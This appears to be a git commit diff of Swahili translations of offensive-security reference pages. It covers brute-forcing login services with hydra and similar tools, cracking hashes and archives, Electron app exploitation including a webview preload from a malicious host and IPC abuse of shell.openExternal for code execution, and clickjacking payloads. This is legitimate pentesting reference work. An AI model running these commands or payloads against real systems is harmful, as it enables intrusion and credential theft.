Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:36 +00:00
parent 396f709549
commit d5c0408a51
5 changed files with 170 additions and 107 deletions

View File

@ -4,7 +4,7 @@
## Default Credentials
**Tafuta katika google** kwa ajili ya akidi za default za teknolojia inayotumika, au **jaribu hizi viungo**:
**Tafuta kwenye google** kwa ajili ya akiba za kawaida za teknolojia inayotumika, au **jaribu hizi linki**:
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -19,7 +19,7 @@
- [**https://many-passwords.github.io/**](https://many-passwords.github.io)
- [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Tengeneza Kamusi zako mwenyewe**
## **Create your own Dictionaries**
Pata taarifa nyingi kadri uwezavyo kuhusu lengo na tengeneza kamusi maalum. Zana ambazo zinaweza kusaidia:
@ -34,19 +34,26 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Orodha za maneno za tovuti
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
Tengeneza nywila kulingana na maarifa yako kuhusu mwathirika (majina, tarehe...)
Zalisha nywila kulingana na maarifa yako kuhusu mwathirika (majina, tarehe...)
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Zana la kuunda orodha ya maneno, linalokuruhusu kutoa seti ya maneno, likikupa uwezekano wa kuunda tofauti nyingi kutoka kwa maneno yaliyotolewa, na kuunda orodha ya maneno ya kipekee na bora kutumia kuhusu lengo maalum.
Zana la kuunda orodha ya maneno, ambalo linakuwezesha kutoa seti ya maneno, likikupa uwezekano wa kuunda tofauti nyingi kutoka kwa maneno yaliyotolewa, na kuunda orodha ya maneno ya kipekee na bora ya kutumia kuhusu lengo maalum.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Usajili wa Docker
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
@ -149,7 +156,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
Kwa http**s** unapaswa kubadilisha kutoka "http-post-form" hadi "**https-post-form"**
Kwa http**s** unapaswa kubadilisha kutoka "http-post-form" hadi "**https-post-form**"
### **HTTP - CMS --** (W)ordpress, (J)oomla au (D)rupal au (M)oodle
```bash
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
@ -393,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Funguo dhaifu za SSH / PRNG inayoweza kutabirika ya Debian
Baadhi ya mifumo yana kasoro zinazojulikana katika mbegu za nasibu zinazotumika kuzalisha vifaa vya kificho. Hii inaweza kusababisha kupungua kwa kiasi cha funguo ambacho kinaweza kubruteforced kwa zana kama [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Seti zilizozalishwa mapema za funguo dhaifu pia zinapatikana kama [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Baadhi ya mifumo yana kasoro zinazojulikana katika mbegu ya nasibu inayotumika kuunda vifaa vya kificho. Hii inaweza kusababisha kupungua kwa kiasi cha funguo ambacho kinaweza kubruteforced kwa kutumia zana kama [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Seti zilizotengenezwa mapema za funguo dhaifu pia zinapatikana kama [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ na OpenMQ)
Protokali ya maandiko ya STOMP ni protokali maarufu ya ujumbe inayotumiwa sana ambayo **inaruhusu mawasiliano na mwingiliano usio na mshono na huduma maarufu za kupanga ujumbe** kama RabbitMQ, ActiveMQ, HornetQ, na OpenMQ. Inatoa njia iliyo sanifishwa na yenye ufanisi ya kubadilishana ujumbe na kufanya operesheni mbalimbali za ujumbe.
Protokali ya maandiko ya STOMP ni protokali maarufu ya ujumbe inayotumiwa sana ambayo **inaruhusu mawasiliano na mwingiliano bila mshono na huduma maarufu za kupanga ujumbe** kama RabbitMQ, ActiveMQ, HornetQ, na OpenMQ. Inatoa njia iliyoandikwa na yenye ufanisi ya kubadilishana ujumbe na kufanya operesheni mbalimbali za ujumbe.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -440,7 +449,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
### Online cracking databases
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 na/au bila ESS/SSP na na thamani yoyote ya changamoto)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 na/au bila ESS/SSP na thamani yoyote ya changamoto)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, na archives MSOffice, ZIP, PDF...)
- [https://crackstation.net/](https://crackstation.net) (Hashes)
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
@ -472,7 +481,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
#### Known plaintext zip attack
Unahitaji kujua **plaintext** (au sehemu ya plaintext) **ya faili iliyomo ndani** ya zip iliyosimbwa. Unaweza kuangalia **majina ya faili na ukubwa wa faili zilizomo ndani** ya zip iliyosimbwa ukikimbia: **`7z l encrypted.zip`**\
Pakua [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)kutoka kwenye ukurasa wa toleo.
Pakua [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)kutoka kwenye ukurasa wa matoleo.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -560,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Mafundisho mengine ya Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
@ -585,7 +594,7 @@ Tumia [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py]
Ikiwa una faili ya xlsx yenye safu iliyo na nenosiri, unaweza kuondoa ulinzi wake:
- **Pakia kwenye google drive** na nenosiri litafutwa kiotomatiki
- **Pakua kwenye google drive** na nenosiri litafutwa kiotomatiki
- Ili **kuondoa** kwa **mkono**:
```bash
unzip file.xlsx
@ -606,7 +615,7 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
**Mifano ya Hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Kitambulisho cha Hash
### Hash-identifier
```bash
hash-identifier
> <HASH>
@ -626,25 +635,25 @@ kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction
```
### John mutation
Soma _**/etc/john/john.conf**_ na uipange
Soma _**/etc/john/john.conf**_ na uweke mipangilio yake
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Hashcat mashambulizi
#### Hashcat attacks
- **Shambulio la orodha ya maneno** (`-a 0`) na sheria
- **Wordlist attack** (`-a 0`) with rules
**Hashcat** tayari inakuja na **folda inayoshikilia sheria** lakini unaweza kupata [**sheria nyingine za kuvutia hapa**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
**Hashcat** tayari inakuja na **folda yenye sheria** lakini unaweza kupata [**sheria nyingine za kuvutia hapa**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
- **Wordlist combinator** attack
Inapatikana **kuunganisha orodha 2 za maneno kuwa 1** kwa kutumia hashcat.\
Ikiwa orodha 1 ilikuwa na neno **"hello"** na ya pili ilikuwa na mistari 2 yenye maneno **"world"** na **"earth"**. Maneno `helloworld` na `helloearth` yatatengenezwa.
Ni uwezekano wa **kuunganisha orodha 2 za maneno kuwa 1** kwa kutumia hashcat.\
Ikiwa orodha ya 1 ilikuwa na neno **"hello"** na ya pili ilikuwa na mistari 2 yenye maneno **"world"** na **"earth"**. Maneno `helloworld` na `helloearth` yatatengenezwa.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -695,7 +704,7 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Modes za Hashcat
#### Njia za Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```

View File

@ -4,9 +4,9 @@
## Introduction
Electron inachanganya backend wa ndani (na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
Electron inachanganya backend wa ndani (pamoja na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo huo unahitaji kuutoa:
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@ -20,11 +20,11 @@ Katika msimbo wa chanzo wa programu ya Electron, ndani ya `packet.json`, unaweza
Electron ina aina 2 za michakato:
- Michakato Kuu (ina ufikiaji kamili wa NodeJS)
- Michakato ya Kuweka (inapaswa kuwa na ufikiaji wa NodeJS uliozuiliwa kwa sababu za usalama)
- Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS uliozuiliwa kwa sababu za usalama)
![](<../../../images/image (182).png>)
**mchakato wa kuweka** utakuwa dirisha la kivinjari linalopakia faili:
**mchakato wa renderer** utakuwa dirisha la kivinjari linalopakia faili:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -34,16 +34,16 @@ win.loadURL(`file://path/to/index.html`)
```
Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili ya main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**.
Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo:
Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa kuzuia hili:
- **`nodeIntegration`** - iko `off` kwa default. Ikiwa iko juu, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
- **`contextIsolation`** - iko `on` kwa default. Ikiwa iko chini, michakato ya msingi na renderer siyo iliyotengwa.
- **`preload`** - tupu kwa default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - iko off kwa default. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
- **`nodeIntegration`** - ime **zimwa** kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
- **`contextIsolation`** - ime **washwa** kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo tofauti.
- **`preload`** - tupu kwa chaguo-msingi.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
- Uunganisho wa Node katika Wafanyakazi
- **`nodeIntegrationInSubframes`** - iko `off` kwa default.
- Ikiwa **`nodeIntegration`** ime **wezeshwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
- Ikiwa **`nodeIntegration`** ime **zuiliwa**, basi preloads zitawekwa katika iframe
- **`nodeIntegrationInSubframes`** - ime **zimwa** kwa chaguo-msingi.
- Ikiwa **`nodeIntegration`** ime **washwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
- Ikiwa **`nodeIntegration`** ime **zimwa**, basi preloads zitawekwa katika iframe
Mfano wa mipangilio:
```javascript
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Kwa hivyo, script inaweza kusafirisha node-features kwa kurasa:
Kwa hivyo, skripti inaweza kusafirisha node-features kwa kurasa:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -157,7 +157,7 @@ _**contextIsolation**_ inanzisha **muktadha tofauti kati ya skripti za ukurasa w
Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza:
1. Kutekeleza **JavaScript isiyo na mipaka katika renderer** (XSS au kuhamia kwenye tovuti za nje)
2. **Kufuta njia iliyojengwa** ambayo inatumika katika preload au msimbo wa ndani wa Electron kwa kazi yake
2. **Kufuta njia iliyojengwa ndani** ambayo inatumika katika preload au msimbo wa ndani wa Electron ili kuwa na kazi yake
3. **Kusababisha** matumizi ya **kazi iliyofutwa**
4. RCE?
@ -175,9 +175,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Kupita tukio la kubonyeza
### Bypass click event
Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo, huenda ukawa na uwezo wa kuvipita **ukifanya bonyeza la katikati** badala ya bonyeza la kushoto la kawaida
Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuv bypass **ukifanya bofya katikati** badala ya bofya la kushoto la kawaida
```javascript
window.addEventListener('click', (e) => {
```
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **mteja upande wa mbali wa utekelezaji wa msimbo (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
Wakati wa kutekeleza programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Hawa wasikilizaji **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kwa kawaida unafanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`.
Hawa wasikilizaji **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`.
**Hapa kuna pseudocode iliyorahisishwa:**
@ -224,6 +224,27 @@ window.open(
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Hii vuln inaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** ni **kipengele kilichopitwa na wakati** ambacho kinaruhusu matumizi ya **NodeJS** katika **mchakato wa renderer**, ambacho kinapaswa kuzuiwa kwani kinaruhusu kupakia skripti ndani ya muktadha wa preload kama:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Hivyo, mshambuliaji anayefaulu kupakia ukurasa wowote anaweza kutumia lebo hiyo **kupakia skripti ya awali isiyo na mipaka**.
Skripti hii ya awali ilitumiwa vibaya kisha kuita **huduma ya IPC iliyo na udhaifu (`skype-new-window`)** ambayo ilikuwa ikitumia **`shell.openExternal`** kupata RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Kusoma Faili za Ndani: XSS + contextIsolation
**Kuzima `contextIsolation` kunaruhusu matumizi ya `<webview>` tags**, sawa na `<iframe>`, kwa ajili ya kusoma na kutoa faili za ndani. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma maudhui ya faili za ndani:
@ -248,7 +269,7 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Old Chromium**
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **vulnerabilities** **zinazojulikana** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **uliojulikana** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing kupitia Internal URL regex bypass**
@ -260,27 +281,31 @@ Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikag
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Kito cha **`openInternally`** kitaamua kama **kiungo** kitafunguliwa katika **dirisha la desktop** kwani ni kiungo kinachomilikiwa na jukwaa, **au** kama kitafunguliwa katika **browza kama rasilimali ya upande wa tatu**.
Kito cha **`openInternally`** kitaamua kama **kiungo** kita **funguliwa** katika **dirisha la desktop** kwani ni kiungo kinachomilikiwa na jukwaa, **au** kama kitafunguliwa katika **browza kama rasilimali ya upande wa tatu**.
Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba taarifa za kuingia** kwa mtumiaji:
Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha alama za nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **fungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **ikiomba taarifa za kuingia** kwa mtumiaji:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
Kama ilivyotajwa katika [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazotumia **`file://`** zina ufikiaji wa moja kwa moja kwa kila faili kwenye mashine yako, ikimaanisha kwamba **masuala ya XSS yanaweza kutumika kupakia faili zisizo za kawaida** kutoka kwa mashine ya mtumiaji. Kutumia **protokali maalum** kunazuia matatizo kama haya kwani unaweza kuzuia protokali hiyo kuhudumia seti maalum ya faili pekee.
## Remote module
Moduli ya Electron Remote inaruhusu **mchakato wa renderer kufikia APIs za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuwezesha moduli hii kunaingiza hatari kubwa za usalama. Inapanua uso wa shambulio wa programu, na kuifanya kuwa na uwezekano mkubwa wa udhaifu kama vile mashambulizi ya cross-site scripting (XSS).
Moduli ya Electron Remote inaruhusu **mchakato wa renderer kufikia APIs za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuwezesha moduli hii kunaingiza hatari kubwa za usalama. Inapanua uso wa shambulio la programu, na kuifanya iwe rahisi zaidi kwa udhaifu kama shambulio la cross-site scripting (XSS).
> [!TIP]
> Ingawa moduli ya **remote** inafichua baadhi ya APIs kutoka kwa mchakato mkuu hadi kwa mchakato wa renderer, si rahisi kupata RCE kwa kutumia tu vipengele. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
> [!WARNING]
> Programu nyingi ambazo bado zinatumia moduli ya remote zinafanya hivyo kwa njia ambayo **inahitaji NodeIntegration iweze kuwezeshwa** katika mchakato wa renderer, ambayo ni **hatari kubwa ya usalama**.
> Programu nyingi ambazo bado zinatumia moduli ya remote zinafanya hivyo kwa njia ambayo **inahitaji NodeIntegration iwe imewezeshwa** katika mchakato wa renderer, ambayo ni **hatari kubwa ya usalama**.
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuwezeshwa katika hatua kadhaa kwa sababu ya sababu za usalama na utendaji, ni **pendekezo kutotumia**.
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuwezeshwa katika hatua kadhaa, lakini kwa sababu za usalama na utendaji, **inapendekezwa kutotumia**.
Ili kuweza kuwezesha, inahitajika kwanza **kuwezesha katika mchakato mkuu**:
Ili kuweza kuifanya, inahitajika kwanza **kuwezesha katika mchakato mkuu**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -295,14 +320,14 @@ Kisha, mchakato wa renderer unaweza kuagiza vitu kutoka kwa moduli kama:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **functions** zinazotolewa na kitu **`app`** kutoka kwa moduli ya mbali:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **functions** zinazotolewa na kitu **`app`** kutoka kwa moduli ya mbali:
- **`app.relaunch([options])`**
- **Inaanzisha upya** programu kwa **kutoka** kwenye mfano wa sasa na **kuanzisha** mpya. Inafaida kwa **maktaba za programu** au mabadiliko makubwa ya **hali**.
- **Inaanzisha upya** programu kwa **kutoka** kwenye mfano wa sasa na **kuanzisha** mpya. Inafaida kwa **sasisho za programu** au mabadiliko makubwa ya **hali**.
- **`app.setAppLogsPath([path])`**
- **Inafafanua** au **inaunda** directory ya kuhifadhi **app logs**. Logs zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Inasajili** executable ya sasa kama **mshughulikiaji wa kawaida** kwa **protocol** maalum. Unaweza kutoa **njia maalum** na **hoja** ikiwa inahitajika.
- **Inasajili** executable ya sasa kama **mshughulikiaji wa kawaida** kwa **protocol** maalum. Unaweza kutoa **path** ya kawaida na **hoja** ikiwa inahitajika.
- **`app.setUserTasks(tasks)`**
- **Inazidisha** kazi kwenye **Kikundi cha Kazi** katika **Jump List** (kwenye Windows). Kila kazi inaweza kudhibiti jinsi programu inavyo **anzishwa** au ni **hoja** zipi zinazopelekwa.
- **`app.importCertificate(options, callback)`**
@ -337,8 +362,8 @@ console.log('Recent Places:', recentPlaces);
### **subscribeNotification / subscribeWorkspaceNotification**
* **Inasikiliza** **arifa za asili za macOS** kwa kutumia NSDistributedNotificationCenter.
* Kabla ya **macOS Catalina**, ungeweza kunusa **zote** arifa zilizogawanywa kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
* Baada ya **Catalina / Big Sur**, programu zilizowekwa kwenye sanduku zinaweza bado **kujiandikisha** kwa **matukio mengi** (kwa mfano, **kufungwa/kufunguliwa kwa skrini**, **kuwekwa kwa sauti**, **shughuli za mtandao**, nk.) kwa kujiandikisha arifa **kwa jina**.
* Kabla ya **macOS Catalina**, ungeweza kunusa **arifa zote** zilizogawanywa kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
* Baada ya **Catalina / Big Sur**, programu zilizowekwa kwenye sanduku zinaweza bado **kujiunga** na **matukio mengi** (kwa mfano, **kufungwa/kufunguliwa kwa skrini**, **kuwekwa kwa sauti**, **shughuli za mtandao**, nk.) kwa kujiandikisha arifa **kwa jina**.
### **getUserDefault / setUserDefault**
@ -358,9 +383,9 @@ Kwa maelezo zaidi angalia [https://blog.doyensec.com/2021/02/16/electron-apis-mi
## Content Security Policy
Programu za Electron zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia mashambulizi ya XSS**. **CSP** ni **kiwango cha usalama** ambacho husaidia **kuzuia** **utekelezaji** wa **kanuni zisizoaminika** kwenye kivinjari.
Programu za Electron zinapaswa kuwa na **Sera ya Usalama wa Maudhui (CSP)** ili **kuzuia mashambulizi ya XSS**. **CSP** ni **kiwango cha usalama** ambacho husaidia **kuzuia** **utekelezaji** wa **kanuni zisizoaminika** kwenye kivinjari.
Kawaida **inasanidiwa** katika faili ya **`main.js`** au katika template ya **`index.html`** na CSP ndani ya **meta tag**.
Kawaida **imewekwa** katika faili ya **`main.js`** au katika template ya **`index.html`** na CSP ndani ya **meta tag**.
Kwa maelezo zaidi angalia:
@ -373,7 +398,7 @@ pentesting-web/content-security-policy-csp-bypass/
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kutambua makosa ya usanidi na mifano ya usalama isiyofaa katika programu za msingi za Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kuangalia maktaba za wahusika wa tatu zenye udhaifu
- [**Electro.ng**](https://electro.ng/): Unahitaji kuzinunua
- [**Electro.ng**](https://electro.ng/): Unahitaji kuununua
## Labs

View File

@ -12,7 +12,7 @@ Wakati mwingine inawezekana **kujaza thamani ya maeneo ya fomu kwa kutumia vigez
### Populate form with Drag\&Drop
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe au nywila maalum unayojua), unaweza tu kumwambia **Drag\&Drop** kitu ambacho kitaandika data yako iliyodhibitiwa kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe na au nywila maalum unayojua), unaweza tu kumwambia **Drag\&Drop** kitu ambacho kitaandika data yako iliyodhibitiwa kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basic Payload
```css
@ -34,7 +34,7 @@ z-index: 1;
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Multistep Payload
### Payload ya Hatua Nyingi
```css
<style>
iframe {
@ -89,10 +89,10 @@ background: #F00;
```
### XSS + Clickjacking
